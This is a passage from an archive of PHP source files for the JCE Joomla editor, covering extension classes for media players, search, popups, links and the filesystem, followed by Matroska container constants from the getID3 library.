    public function getParam($key, $fallback = '', $default = '', $type = 'string', $allowempty = true)
    {
        // get all keys
        $keys = explode('.', $key);

        // remove base key eg: 'editor'
        $base = array_shift($keys);

        // get params for base key
        $params = self::getParams(array('key' => $base));
        // get a parameter

        $param = $params->get($keys, $fallback, $allowempty);

        if (is_string($param) && $type == 'string') {
            $param = trim(preg_replace('#[\n\r\t]+#', '', $param));
        }

        if (is_numeric($default)) {
            $default = (float) $default;
        }

        if (is_numeric($param)) {
            $param = (float) $param;
        }

        if ($param === $default) {
            return '';
        }

        if ($type == 'boolean') {
            $param = (bool) $param;
        }

        return $param;
    }
}
editor/libraries/classes/extensions/mediaplayer.php000060400000006703150750527150016660 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFMediaPlayerExtension extends WFExtension
{
    protected static $instance;

    public function __construct($config = array())
    {
        $default = array(
            'name' => '',
            'title' => '',
            'params' => array(),
        );

        $config = array_merge($default, $config);

        parent::__construct($config);
    }

    /**
     * Returns a reference to a manager object.
     *
     * This method must be invoked as:
     *    <pre>  $manager =MediaManager::getInstance();</pre>
     *
     * @return MediaManager The manager object
     *
     * @since 1.5
     */
    public static function getInstance($name = 'jceplayer')
    {
        if (!isset(self::$instance)) {
            $classname = '';

            if ($name && $name != 'none') {
                $player = parent::loadExtensions('mediaplayer', $name);

                if ($player) {
                    $classname = 'WFMediaPlayerExtension_'.ucfirst($player->name);
                }
            }

            if ($classname && class_exists($classname)) {
                self::$instance = new $classname();
            } else {
                self::$instance = new self();
            }
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        if ($this->isEnabled() && $this->get('name')) {
            $document->addScript(array(
                'mediaplayer/'.$this->get('name').'/js/'.$this->get('name'),
                    ), 'extensions');

            $document->addStyleSheet(array(
                'mediaplayer/'.$this->get('name').'/css/'.$this->get('name'),
                    ), 'extensions');

            $document->addScriptDeclaration('WFExtensions.MediaPlayer.init('.json_encode($this->getProperties()).')');
        }
    }

    public function isEnabled()
    {
        return false;
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function getTitle()
    {
        return $this->get('title');
    }

    public function getParams()
    {
        return $this->params;
    }

    public function getParam($param, $default = '')
    {
        $params = $this->getParams();

        return isset($params[$param]) ? $params[$param] : $default;
    }

    /**
     * @param object $player
     *
     * @return string
     */
    public function loadTemplate($tpl = '')
    {
        $output = '';

        if ($this->isEnabled()) {
            $path = WF_EDITOR_EXTENSIONS.'/mediaplayer/'.$this->get('name');

            $file = 'default.php';

            if ($tpl) {
                $file = 'default_'.$tpl.'.php';
            }

            if (file_exists($path.'/tmpl/'.$file)) {
                ob_start();

                include $path.'/tmpl/'.$file;

                $output .= ob_get_contents();
                ob_end_clean();
            }
        }

        return $output;
    }
}
editor/libraries/classes/extensions/search.php000060400000002662150750527150015631 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFSearchExtension extends WFExtension
{
    private static $instances = array();

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     * 		<pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since	1.5
     */
    public static function getInstance($type, $config = array())
    {
        if (!isset(self::$instances)) {
            self::$instances = array();
        }

        if (empty(self::$instances[$type])) {
            require_once WF_EDITOR.'/extensions/search/'.$type.'.php';

            $classname = 'WF'.ucfirst($type).'SearchExtension';

            if (class_exists($classname)) {
                self::$instances[$type] = new $classname($config);
            } else {
                self::$instances[$type] = new self();
            }
        }

        return self::$instances[$type];
    }
}
editor/libraries/classes/extensions/index.html000060400000000054150750527150015641 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/extensions/aggregator.php000060400000007143150750527150016505 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFAggregatorExtension extends WFExtension
{
    protected static $instance;

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     * 		<pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since	1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function getTitle()
    {
        return $this->get('title');
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $aggregators = $this->getAggregators();

        foreach ($aggregators as $aggregator) {
            $aggregator->display();

            $params = $aggregator->getParams();

            if (!empty($params)) {
                $document->addScriptDeclaration('WFExtensions.Aggregator.setParams("'.$aggregator->getName().'",'.json_encode($params).');');
            }
        }
    }

    public function getAggregators()
    {
        static $aggregators;

        if (!isset($aggregators)) {
            $aggregators = array();
        }

        // get the aggregator format for this instance
        $format = $this->get('format');

        if (empty($aggregators[$format])) {
            jimport('joomla.filesystem.folder');

            // get a plugin instance
            $plugin = WFEditorPlugin::getInstance();

            $aggregators[$format] = array();

            $path = WF_EDITOR_EXTENSIONS.'/aggregator';
            $files = JFolder::files($path, '\.php$', false, true);

            foreach ($files as $file) {
                require_once $file;

                $name = basename($file, '.php');
                $classname = 'WFAggregatorExtension_'.ucfirst($name);

                // only load if enabled
                if (class_exists($classname)) {
                    $aggregator = new $classname();

                    // check if enabled
                    if ($aggregator->isEnabled()) {
                        if ($aggregator->get('format') == $format) {
                            $aggregator->set('name', $name);
                            $aggregator->set('title', 'WF_AGGREGATOR_'.strtoupper($name).'_TITLE');
                            $aggregators[$format][] = $aggregator;
                        }
                    }
                }
            }
        }

        return $aggregators[$format];
    }

    /**
     * @param object $player
     *
     * @return string
     */
    public function loadTemplate($name, $tpl = '')
    {
        $path = WF_EDITOR_EXTENSIONS.'/aggregator/'.$name;

        $output = '';

        $file = 'default.php';

        if ($tpl) {
            $file = 'default_'.$tpl.'.php';
        }

        if (file_exists($path.'/tmpl/'.$file)) {
            ob_start();

            include $path.'/tmpl/'.$file;

            $output .= ob_get_contents();
            ob_end_clean();
        }

        return $output;
    }
}
editor/libraries/classes/extensions/filesystem.php000060400000021327150750527150016547 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFFileSystem extends WFExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $this->setProperties(array_merge($config, array(
            'local' => true,
            'upload' => array(
                'stream' => false,
                'chunking' => false,
                'unique_filenames' => false
            ),
        )));
    }

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     *    <pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since 1.5
     */
    public static function getInstance($type = 'joomla', $config = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $fs = parent::loadExtensions('filesystem', $type);

            // get the first filesystem extension only
            if (is_array($fs)) {
                $fs = array_shift($fs);
            }

            $classname = 'WF'.ucfirst($fs->name).'FileSystem';

            if (class_exists($classname)) {
                $instance = new $classname($config);
            } else {
                $instance = new self($config);
            }
        }

        return $instance;
    }

    /**
     * Get the base directory.
     *
     * @return string base dir
     */
    public function getBaseDir()
    {
        return WFUtility::makePath(JPATH_SITE, $this->getRootDir());
    }

    /**
     * Get the full base url.
     *
     * @return string base url
     */
    public function getBaseURL()
    {
        return WFUtility::makePath(JURI::root(true), $this->getRootDir());
    }

    /**
     * Return the full user directory path. Create if required.
     *
     * @param string  The base path
     *
     * @return Full path to folder
     */
    public function getRootDir()
    {
        static $root;

        if (!isset($root)) {
            $user = JFactory::getUser();
            $wf = WFEditor::getInstance();
            $profile = $wf->getProfile();

            // Get base directory as shared parameter
            $root = $this->get('dir', '');

            // Remove whitespace
            $root = trim($root);

            if (!empty($root)) {
                // Convert slashes / Strip double slashes
                $root = preg_replace('/[\\\\]+/', '/', $root);
                // Remove first leading slash
                $root = ltrim($root, '/');
                // Force default directory if base param starts with a variable or a . eg $id
                if (preg_match('/[\.\$]/', $root{0})) {
                    $root = 'images';
                }

                jimport('joomla.user.helper');
                // Joomla! 1.6+
                if (method_exists('JUserHelper', 'getUserGroups')) {
                    $groups = JUserHelper::getUserGroups($user->id);

                    // get keys only
                    $groups = array_keys($groups);

                    // get the first group
                    $group_id = array_shift($groups);

                    // Joomla! 2.5?
                    if (is_int($group_id)) {
                        // usergroup table
                        $group = JTable::getInstance('Usergroup');
                        $group->load($group_id);
                        // usertype
                        $usertype = $group->title;
                    } else {
                        $usertype = $group_id;
                    }
                } else {
                    $usertype = $user->usertype;
                }

                // Replace any path variables
                $pattern = array('/\$id/', '/\$username/', '/\$user(group|type)/', '/\$(group|profile)/', '/\$day/', '/\$month/', '/\$year/');
                $replace = array($user->id, $user->username, $usertype, $profile->name, date('d'), date('m'), date('Y'));
                $root = preg_replace($pattern, $replace, $root);

                // split into path parts to preserve /
                $parts = explode('/', $root);

                $textcase = $wf->getParam('editor.websafe_textcase', '');

                // implode textcase array to create string
                if (is_array($textcase)) {
                    $textcase = implode(",", $textcase);
                }

                // clean path parts
                $parts = WFUtility::makeSafe($parts, $wf->getParam('editor.websafe_mode', 'utf-8'), $wf->getParam('editor.websafe_allow_spaces', 0), $textcase);

                //join path parts
                $root = implode('/', $parts);
            }
        }

        return $root;
    }

    protected static function sortItemsByKey($items, $type)
    {
        $sortable = array();

        // set default direction
        $direction = 'asc';

        if ($type[0] === "-") {
            $direction = 'desc';
            $type = substr($type, 1);
        }

        foreach ($items as $key => $item) {
            $sortable[$key] = isset($item[$type]) ? $item[$type] : $item['properties'][$type];
        }

        array_multisort($sortable, $direction === "desc" ? SORT_DESC : SORT_ASC, SORT_NATURAL | SORT_FLAG_CASE, $items);

        return $items;
    }

    public function toAbsolute($path)
    {
        return $path;
    }

    public function toRelative($path)
    {
        return $path;
    }

    public function getTotalSize($path, $recurse = true)
    {
        return 0;
    }

    public function countFiles($path, $recurse = false)
    {
        return 0;
    }

    public function getFiles($path, $filter)
    {
        return array();
    }

    public function getFolders($path, $filter)
    {
        return array();
    }

    public function getSourceDir($path)
    {
        return $path;
    }

    public function isMatch($needle, $haystack)
    {
        return $needle == $haystack;
    }

    public function pathinfo($path)
    {
        return pathinfo($path);
    }

    public function delete($path)
    {
        return true;
    }

    public function createFolder($path, $new)
    {
        return true;
    }

    public function rename($src, $dest)
    {
        return true;
    }

    public function copy($src, $dest)
    {
        return true;
    }

    public function move($src, $dest)
    {
        return true;
    }

    public function getFolderDetails($path)
    {
        return array(
            'properties' => array('modified' => ''),
        );
    }

    public function getFileDetails($path)
    {
        $data = array(
            'properties' => array(
                'size' => '',
                'modified' => '',
            ),
        );

        if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png)#i', $path)) {
            $image = array(
                'properties' => array(
                    'width' => 0,
                    'height' => 0,
                    'preview' => '',
                ),
            );

            return array_merge_recursive($data, $image);
        }

        return $data;
    }

    public function getDimensions($path)
    {
        return array(
            'width' => '',
            'height' => '',
        );
    }

    public function upload($method, $src, $dir, $name, $chunks = 0, $chunk = 0)
    {
        return true;
    }

    public function exists($path)
    {
        return true;
    }

    public function read($path)
    {
        return '';
    }

    public function write($path, $content)
    {
        return true;
    }

    public function isLocal()
    {
        return $this->get('local') === true;
    }

    public function is_file($path)
    {
        return true;
    }

    public function is_dir($path)
    {
        return true;
    }
}

/**
 * Filesystem Error class.
 */
final class WFFileSystemResult
{
    /*
     * @var Object type eg: file / folder
     */

    public $type = 'files';
    /*
     * @boolean	Result state
     */
    public $state = false;
    /*
     * @int	Error code
     */
    public $code = null;
    /*
     * @var Error message
     */
    public $message = null;
    /*
     * @var File / Folder path
     */
    public $path = null;
    /*
     * @var File / Folder url
     */
    public $url = null;

    public function __construct()
    {
    }
}
editor/libraries/classes/extensions/popups.php000060400000011076150750527150015711 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFPopupsExtension extends WFExtension
{
    protected static $instance;

    private $_popups = array();
    private $_templates = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     *    <pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since 1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        // get all popups extensions
        $popups = parent::loadExtensions('popups');

        $config = $this->getProperties();

        if ($config) {
            // Create global config
            $document->addScriptDeclaration('WFExtensions.Popups.setConfig('.json_encode($config).');');
        }

        // Create an instance of each popup and check if enabled
        foreach ($popups as $item) {
            $popup = $this->getPopupExtension($item->name);

            if ($popup->isEnabled()) {
                $this->addPopup($item);

                $params = $popup->getParams();

                if (!empty($params)) {
                    $document->addScriptDeclaration('WFExtensions.Popups.setParams("'.$item->name.'",'.json_encode($params).');');
                }
            }
        }

        $tabs = WFTabs::getInstance();

        // Add popup tab and assign popups reference to document
        if (count($this->getPopups())) {
            $tabs->addTab('popups');
            $tabs->getPanel('popups')->assign('popups', $this);
        }
    }

    private function getPopups()
    {
        return $this->_popups;
    }

    public function addPopup($popup)
    {
        $this->_popups[] = $popup;
    }

    private function getTemplates()
    {
        return $this->_templates;
    }

    public function addTemplate($template)
    {
        $this->_templates[] = $template;
    }

    private function getPopupExtension($name)
    {
        static $popups = array();

        if (!isset($popups[$name])) {
            $classname = 'WFPopupsExtension_'.ucfirst($name);
            $popups[$name] = new $classname();
        }

        return $popups[$name];
    }

    public function getPopupList()
    {
        $options = array();

        $options[] = JHTML::_('select.option', '', '-- '.WFText::_('WF_POPUP_TYPE_SELECT').' --');

        foreach ($this->getPopups() as $popup) {
            $options[] = JHTML::_('select.option', $popup->name, WFText::_('WF_POPUPS_'.strtoupper($popup->name).'_TITLE'));
        }

        return JHTML::_('select.genericlist', $options, 'popup_list', '', 'value', 'text', $this->get('default'));
    }

    public function getPopupTemplates()
    {
        $output = '';

        foreach ($this->getTemplates() as $template) {
            $wf = WFEditorPlugin::getInstance();
            $view = $wf->getView();

            $output .= $view->loadTemplate($template);
        }

        foreach ($this->getPopups() as $popup) {
            $view = new WFView(array(
                'name' => $popup->name,
                'base_path' => $popup->path,
                'template_path' => $popup->path.'/tmpl',
            ));

            $instance = $this->getPopupExtension($popup->name);
            $view->assign('popup', $instance);

            if (file_exists($popup->path.'/tmpl/default.php')) {
                ob_start();

                $output .= '<div id="popup_extension_'.$popup->name.'" style="display:none;">';

                $view->display();

                $output .= ob_get_contents();
                $output .= '</div>';
                ob_end_clean();
            }
        }

        return $output;
    }
}
editor/libraries/classes/extensions/link.php000060400000020056150750527150015316 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFLinkExtension extends WFExtension
{
    /*
     *  @var varchar
     */

    private $extensions = array();
    protected static $instance;
    protected static $links = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $extensions = self::loadExtensions('links');

        // Load all link extensions
        foreach ($extensions as $link) {
            $this->extensions[] = $this->getLinkExtension($link->name);
        }

        $request = WFRequest::getInstance();
        $request->setRequest(array($this, 'getLinks'));
    }

    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        foreach ($this->extensions as $extension) {
            $extension->display();
        }
    }

    private function getLinkExtension($name)
    {
        if (array_key_exists($name, self::$links) === false || empty(self::$links[$name])) {
            $classname = 'WFLinkBrowser_' . ucfirst($name);
            // create class
            if (class_exists($classname)) {
                self::$links[$name] = new $classname();
            }
        }

        return self::$links[$name];
    }

    public function getLists()
    {
        $list = array();

        foreach ($this->extensions as $extension) {
            if ($extension->isEnabled()) {
                $list[] = $extension->getList();
            }
        }

        return $list;
    }

    public function render()
    {
        $list = $this->getLists();

        if (empty($list)) {
            return "";
        }

        $view = $this->getView(array('name' => 'links', 'layout' => 'links'));
        $view->assign('list', implode("\n", $list));
        $view->display();
    }

    private static function cleanInput($args, $method = 'string')
    {
        $filter = JFilterInput::getInstance();

        foreach ($args as $k => $v) {
            $args->$k = $filter->clean($v, $method);
            $args->$k = (string) filter_var($args->$k, FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK);
        }

        return $args;
    }

    public function getLinks($args)
    {
        $args = self::cleanInput($args, 'STRING');

        foreach ($this->extensions as $extension) {
            if (in_array($args->option, $extension->getOption())) {
                $items = $extension->getLinks($args);
            }
        }
        $array = array();
        $result = array();

        if (isset($items)) {
            foreach ($items as $item) {
                $array[] = array(
                    'id'    => isset($item['id']) ? self::xmlEncode($item['id']) : '',
                    'url'   => isset($item['url']) ? self::xmlEncode($item['url']) : '',
                    'name'  => self::xmlEncode($item['name']), 'class' => $item['class'],
                );
            }
            $result = array('folders' => $array);
        }

        return $result;
    }

    /**
     * Category function used by many extensions.
     *
     * @return Category list object
     *
     * @since    1.5
     */
    public static function getCategory($section, $parent = 1)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();
        $wf = WFEditorPlugin::getInstance();

        $query = $db->getQuery(true);

        $where = array();

        $version = new JVersion();
        $language = $version->isCompatible('3.0') ? ', language' : '';

        if (method_exists('JUser', 'getAuthorisedViewLevels')) {
            $where[] = 'parent_id = ' . (int) $parent;
            $where[] = 'extension = ' . $db->Quote($section);

            if (!$user->authorise('core.admin')) {
                $where[] = 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')';
            }

            if (!$wf->checkAccess('static', 1)) {
                $where[] = 'path != ' . $db->Quote('uncategorised');
            }
        } else {
            $where[] = 'section = ' . $db->Quote($section);

            if ($user->get('gid') != 25) {
                $where[] = 'access <= ' . (int) $user->get('aid');
            }
        }

        $case = '';

        if ($wf->getParam('category_alias', 1) == 1) {
            if (is_object($query)) {
                //sqlsrv changes
                $case = ', CASE WHEN ';
                $case .= $query->charLength('alias', '!=', '0');
                $case .= ' THEN ';
                $a_id = $query->castAsChar('id');
                $case .= $query->concatenate(array($a_id, 'alias'), ':');
                $case .= ' ELSE ';
                $case .= $a_id . ' END as slug';
            } else {
                $case .= ', CASE WHEN CHAR_LENGTH(alias) THEN CONCAT_WS(":", id, alias) ELSE id END as slug';
            }
        }

        if (is_object($query)) {
            $where[] = 'published = 1';
            $query->select('id AS slug, id AS id, title, alias, access' . $language . $case)->from('#__categories')->where($where)->order('title');
        } else {
            $query = 'SELECT id AS slug, id AS id, title, alias, access' . $case;
            $query .= ' FROM #__categories';
            $query .= ' WHERE ' . implode(' AND ', $where);
            $query .= ' ORDER BY title';
        }
        $db->setQuery($query);

        return $db->loadObjectList();
    }

    /**
     * (Attempt to) Get an Itemid.
     *
     * @param string $component
     * @param array  $needles
     *
     * @return Category list object
     */
    public static function getItemId($component, $needles = array())
    {
        $match = null;

        //require_once(JPATH_SITE . '/includes/application.php');
        $app = JApplication::getInstance('site');

        $tag = defined('JPATH_PLATFORM') ? 'component_id' : 'componentid';

        $component = JComponentHelper::getComponent($component);
        $menu = $app->getMenu('site');
        $items = $menu->getItems($tag, $component->id);

        if ($items) {
            foreach ($needles as $needle => $id) {
                foreach ($items as $item) {
                    if ((@$item->query['view'] == $needle) && (@$item->query['id'] == $id)) {
                        $match = $item->id;
                        break;
                    }
                }
                if (isset($match)) {
                    break;
                }
            }
        }

        return $match ? '&Itemid=' . $match : '';
    }

    /**
     * Translates an internal Joomla URL to a humanly readible URL.
     *
     * @param string $url Absolute or Relative URI to Joomla resource
     *
     * @return The translated humanly readible URL
     */
    public static function route($url)
    {
        $app = JApplication::getInstance('site');
        $router = $app->getRouter('site');

        if (!$router) {
            return $url;
        }

        $uri = $router->build($url);
        $url = $uri->toString();
        $url = str_replace('/administrator/', '/', $url);

        return $url;
    }

    /**
     * XML encode a string.
     *
     * @param     string    String to encode
     *
     * @return string Encoded string
     */
    private static function xmlEncode($string)
    {
        return str_replace(array('&', '<', '>', "'", '"'), array('&amp;', '&lt;', '&gt;', '&apos;', '&quot;'), $string);
    }
}

abstract class WFLinkBrowser extends WFLinkExtension
{
}
editor/libraries/classes/manager.php000060400000001151150750527150013567 0ustar00<?php
/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
if (is_dir(WF_EDITOR_LIBRARIES.'/pro')) {
    require_once WF_EDITOR_LIBRARIES.'/pro/classes/manager.php';
} else {
    require_once dirname(__FILE__).'/manager/manager.php';
}
editor/libraries/classes/vendor/index.html000060400000000054150750527150014737 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/vendor/getid3/getid3/module.audio-video.matroska.php000060400000314106150750527150023330 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.matriska.php                             //
// module for analyzing Matroska containers                    //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////


define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
